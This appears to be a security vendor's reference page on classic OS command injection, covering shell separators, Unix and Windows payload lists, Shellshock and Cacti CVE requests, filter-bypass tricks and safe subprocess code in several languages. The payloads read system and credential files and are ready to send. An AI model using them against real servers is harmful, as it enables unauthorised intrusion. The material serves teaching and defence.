Attacker-controlled input passed directly to a shell function, allowing arbitrary OS command execution via metacharacters (; | & ` $).
TL;DR
uid= confirms exploitation; | && || ` $() %0a chain commands across Unix and Windows shellsX-Forwarded-For and User-Agent expands the attack surface beyond URL parametersshell=False; allowlist validation before any OS callClassic OS command injection (CWE-78) is the in-band variant of command injection: the application passes user-supplied input to an OS shell function, and the injected command's output appears in the same HTTP response. The attacker both delivers the payload and reads the result through the same channel.
The root cause is string concatenation in a shell context: os.system("ping -c 1 " + user_input), exec("nslookup " + domain), shell_exec("convert " . filename). The shell receives the complete concatenated string and interprets every character in it — including the attacker's control operators. The application then returns the combined output of all executed commands.
This is distinct from blind injection (output discarded), time-based blind (delay oracle), and OOB injection (side-channel exfiltration). All four share the same root vulnerability but require different detection and exploitation paths. Classic injection is the simplest to confirm: if the injected command output appears in the response, the case is proven.
The exploit chain has four steps:
os.system(), subprocess.run(shell=True), exec(), shell_exec(), Runtime.exec(String), proc_open().A minimal vulnerable endpoint and its exploitation:
GET /api/tools/ping?host=127.0.0.1;id HTTP/1.1
Host: vulnerable.example.com
User-Agent: Mozilla/5.0HTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received
uid=33(www-data) gid=33(www-data) groups=33(www-data)| Separator | Behavior | Condition |
|---|---|---|
; | Sequential — executes cmd2 always | Unconditional |
| | Pipes stdout of cmd1 to stdin of cmd2 | cmd2 always runs |
&& | Executes cmd2 only if cmd1 succeeds (exit 0) | Conditional AND |
|| | Executes cmd2 only if cmd1 fails (exit ≠ 0) | Conditional OR |
& | Runs cmd2 in background | Unconditional, async |
` | Command substitution (backtick) — stdout replaces expression | POSIX legacy |
$() | Command substitution (modern POSIX) — nestable | POSIX modern |
%0a | URL-encoded newline — identical to ; | Bypasses ; | & filters |
# Semicolon — most common
127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a; id; hostname
# Pipe
127.0.0.1 | id
127.0.0.1 | cat /etc/passwd
# Conditional
valid_host && id # executes id only if valid_host resolves
bad_host || id # executes id because bad_host fails
# Command substitution
127.0.0.1$(id)
127.0.0.1`whoami`
# URL-encoded newline — bypasses most ; | & filters
127.0.0.1%0aid
127.0.0.1%0acat%20/etc/passwdREM Ampersand — sequential
127.0.0.1 & whoami
127.0.0.1 & net user
REM Pipe
127.0.0.1 | whoami
REM Conditional
127.0.0.1 && systeminfo
127.0.0.1 || whoami
REM CRLF newline
127.0.0.1%0d%0awhoami
REM PowerShell
127.0.0.1; Invoke-Expression "whoami"
127.0.0.1; iex "whoami"HTTP headers processed by backend tooling are high-value injection vectors:
GET /health HTTP/1.1
User-Agent: () { :; }; /bin/bash -c 'id'
X-Forwarded-For: 127.0.0.1; id
Referer: http://example.com/?q=;idUser-Agent carries Shellshock payloads in CGI environments — Apache mod_cgi passes HTTP headers as environment variables to CGI scripts, and Bash's environment variable parsing bug (CVE-2014-6271) executes trailing commands. The X-Forwarded-For header is the injection vector for CVE-2022-46169 (Cacti): the header value was passed to proc_open() in the polling subsystem.
# Canary pattern — unique string confirms execution
; echo cmdi-CANARY-$(id)
| echo cmdi-CANARY-$(id)
# Simpler confirmation
; id
; whoami
; cat /etc/passwd | head -3The BreachVex Proof Engine injects a uniquely-marked echo payload such as | echo <canary> and ; echo <canary>, then confirms injection when that canary appears in the response body.
CVE-2022-46169 — Cacti ≤ 1.2.22 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Cacti's network polling subsystem passed the poller_id POST parameter directly to PHP's proc_open() function. The value was also accessible via the X-Forwarded-For header in log processing routines. With no authentication required, an attacker could inject commands through either vector:
POST /remote_agent.php HTTP/1.1
Host: cacti.example.com
X-Forwarded-For: 127.0.0.1;id
action=polldata&poller_id=1%3Bid&host_id=1&local_data_ids[]=1Exploited within 48 hours of public disclosure in December 2022. The vulnerability resulted in widespread botnet infections targeting unpatched Cacti instances. A companion CVE (CVE-2023-49085, CVSS 8.8) chained SQL injection → LFI → RCE on authenticated installations.
CVE-2014-6271 — GNU Bash Shellshock (CVSS 10.0)
Bash parsed environment variable values as function definitions when the value began with () { :; }. A flaw allowed appending arbitrary commands after the closing brace:
# Malicious User-Agent header
User-Agent: () { :; }; /bin/bash -c 'id'
# In CGI context, Apache mod_cgi sets HTTP_USER_AGENT as:
HTTP_USER_AGENT=() { :; }; /bin/bash -c 'id'
# Bash executes: id — before the CGI script even startsExploited globally within hours of the September 25, 2014 disclosure. Millions of web servers, network appliances, routers, and IoT devices running CGI were affected. Botnet campaigns began the same day, mass-scanning for vulnerable endpoints. Shellshock remains the canonical example of Classic command injection in penetration testing training.
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)
While CVE-2024-3400 involves a chained file-write-to-execution pattern, it exemplifies the 2024 dominant exploitation model for Classic-adjacent injection. A malformed SESSID cookie containing path traversal characters created an arbitrary file on the device filesystem. A second request triggered that file's execution as a Python script with root privileges. Threat actor UTA0218 (Volexity) used this to deploy the UPSTYLE backdoor against government and critical infrastructure targets globally. Added to CISA's KEV catalog on the day of discovery, April 12, 2024.
Identify all parameters that might reach shell execution: URL query parameters (host, ip, domain, cmd, exec, file, path, name, target), POST body fields in JSON or form-encoded payloads, HTTP headers (User-Agent, X-Forwarded-For, Referer), and filenames in file upload flows.
Submit a canary payload in each parameter. Start with the lowest-noise separator:
; echo cmdi-test-$(id)
| echo cmdi-test-$(id)
%0a echo cmdi-test-$(id)If uid= appears in the response, Tier 1 confirmation is achieved.
If the response is clean, test Windows separators for Windows-hosted applications:
& whoami
| whoami
&& net userTest HTTP headers with Shellshock payloads for CGI environments:
User-Agent: () { :; }; /bin/bash -c 'id'Test quote-fragmented versions to bypass keyword filters:
; w'h'o'am'i
; /b\in/idIf output appears but is empty, try redirecting to a writable web path:
; id > /var/www/html/proof.txtThen fetch /proof.txt to read the result.
Commix tests Classic injection automatically:
commix --url "http://target.com/ping?host=*" --batch --smart --level=3 --technique=CBurp Suite Pro scanner submits canary payloads with unique markers and checks for reflection in responses. Burp also tests common headers automatically when scanning in scope.
Nuclei has community templates for CVE-specific Classic injection — CVE-2022-46169, CVE-2024-10914 (D-Link), and others. Run:
nuclei -u http://target.com -t cves/ -tags cmdiBreachVex confirms Classic injection by injecting a uniquely-marked echo payload (| echo <canary>, ; echo <canary>) and verifying that canary in the response body. A unique correlation ID per probe prevents cross-probe false positives.
import subprocess, re
# VULNERABLE — shell=True, string concatenation
import os
os.system(f"ping -c 1 {user_host}")
subprocess.run(f"ping -c 1 {user_host}", shell=True)
# SAFE — array form, no shell invoked
subprocess.run(["ping", "-c", "1", user_host])
# SAFER — allowlist validation before the call
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', user_host):
raise ValueError("Invalid IP address — must be x.x.x.x format")
subprocess.run(["ping", "-c", "1", user_host])const { exec, execFile, spawn } = require('child_process');
// VULNERABLE — exec always spawns /bin/sh
exec(`ping -c 1 ${req.query.host}`, (err, stdout) => console.log(stdout));
// SAFE — execFile bypasses shell entirely
execFile('ping', ['-c', '1', req.query.host], (err, stdout) => {
res.send(stdout);
});
// SAFE — spawn with shell: false (default)
const proc = spawn('ping', ['-c', '1', req.query.host]);
proc.stdout.on('data', (data) => res.write(data));String userHost = request.getParameter("host");
// VULNERABLE — string form uses StringTokenizer, CreateProcess on Windows
Runtime.getRuntime().exec("ping -c 1 " + userHost);
// SAFE — ProcessBuilder with explicit argument list
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userHost);
pb.redirectErrorStream(true);
Process p = pb.start();
// Read p.getInputStream() for output$host = $_GET['host'];
// VULNERABLE
exec("ping -c 1 $host", $output);
system("ping -c 1 " . $host);
// ACCEPTABLE — escapeshellarg prevents metacharacter injection (POSIX)
$safeHost = escapeshellarg($host);
exec("ping -c 1 $safeHost", $output);
// BEST — strict allowlist + escapeshellarg as defense-in-depth
if (!filter_var($host, FILTER_VALIDATE_IP)) {
http_response_code(400);
exit("Invalid IP address");
}
exec("ping -c 1 " . escapeshellarg($host), $output);
// NOTE: escapeshellarg() is insufficient on Windows — CVE-2024-1874, CVE-2024-5585
// Avoid .bat/.cmd files with user-controlled input on Windows regardlessshlex.quote() in Python and escapeshellarg() in PHP are POSIX-only escaping functions. On Windows, cmd.exe metacharacter rules differ fundamentally — the BatBadBut disclosure (CVE-2024-24576, CVSS 10.0) demonstrated that quote-based escaping is insufficient when .bat or .cmd files invoke cmd.exe. Never rely on escaping as the sole defense; use array-form APIs.
When user input must map to system resources, allowlist validation is the secondary defense:
# Allowlist — exact match only
ALLOWED_REPORTS = {"access_log", "error_log", "audit_log"}
if user_report not in ALLOWED_REPORTS:
raise ValueError("Invalid report name")
subprocess.run(["generate-report", user_report])
# Regex allowlist for structured input
import re
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}$', user_slug):
raise ValueError("Invalid slug — alphanumeric and hyphens only")The injected command's output is returned in the same HTTP response that delivered the payload. The attacker sees uid=33(www-data) directly in the response body. This distinguishes it from blind variants where output is either discarded or exfiltrated through a separate channel.
The URL-encoded newline (%0a) is the most reliable across diverse filter configurations. Most WAFs and input filters block ; | & and $() explicitly but overlook raw newline injection. On the command line, a newline acts identically to a semicolon as a command terminator.
Bash parsed function definitions in environment variables in the form () { :; }. A flaw allowed appending arbitrary commands after the closing brace: () { :; }; /bin/bash -c 'id'. CGI scripts pass HTTP headers as environment variables, so a crafted User-Agent header triggered command execution. Exploited worldwide within hours of the September 2014 disclosure.
Cacti's poller_id parameter was passed unsanitized to PHP's proc_open() function. The parameter was also reachable via the X-Forwarded-For header in log processing. An unauthenticated attacker could inject commands through either vector. Exploited within 48 hours of public disclosure; CVSS 9.8.
Semicolon (;) executes the injected command regardless of whether the first command succeeds or fails. Pipe (|) pipes stdout of the first command as stdin to the injected command — the injected command still executes but its stdin may contain unexpected data. && executes the injected command only if the first succeeds; || executes only if the first fails.
Both achieve the same result — the inner command executes and its stdout replaces the expression. $(cmd) is the modern POSIX form and supports nesting: $(echo $(id)). Backticks (`cmd`) are the legacy POSIX form and do not nest cleanly. Both work in bash, sh, zsh, and dash. $() is preferred in modern payloads because it is nestable and cleaner in URL encoding.
User-Agent (Shellshock in CGI environments), X-Forwarded-For (Cacti CVE-2022-46169, injected into logging calls), Referer (analytics or log processing), and Host (if the application uses the Host header in diagnostics or monitoring commands). Any header processed by a server-side tool that executes shell commands is a potential injection point.
The canary pattern ; echo cmdi-CANARY-$(id) injects a unique string followed by the id command output. If the response body contains uid=, the canary confirms both that the command executed and that output is returned. The unique prefix prevents false positive matching against existing content. The BreachVex Proof Engine uses a unique per-probe canary string as the marker.
Replace spaces with ${IFS} (Internal Field Separator), $IFS (short form), URL-encoded tab (%09), input redirection (cat</etc/passwd), or brace expansion ({cat,/etc/passwd}). These bypass filters that block literal space characters in injection payloads while preserving command semantics.
Quote fragmentation inserts ignored quote characters inside a command to bypass keyword-based filters: w'h'o'am'i is equivalent to whoami. Bash treats adjacent quoted strings as one token. Similarly, w"h"o"am"i works for double quotes, and w\ho\am\i uses backslash escaping to produce the same token.
CVE-2024-3400 is a two-stage chained injection: stage one uses path traversal in a SESSID cookie to write an arbitrary file; stage two triggers that file's execution as a Python script with root privileges. This is a file-write-to-command-execution chain, categorized under CWE-77, that achieved CVSS 10.0. It is distinct from direct in-band injection but shares the same root cause of unsanitized input reaching OS execution.
On POSIX systems, escapeshellarg() wraps the input in single quotes and escapes embedded single quotes, making it difficult to break the argument context. It is not sufficient on Windows (CVE-2024-1874, CVE-2024-5585). The preferred defense is allowlist validation before the command, plus array-form execution APIs that avoid a shell entirely.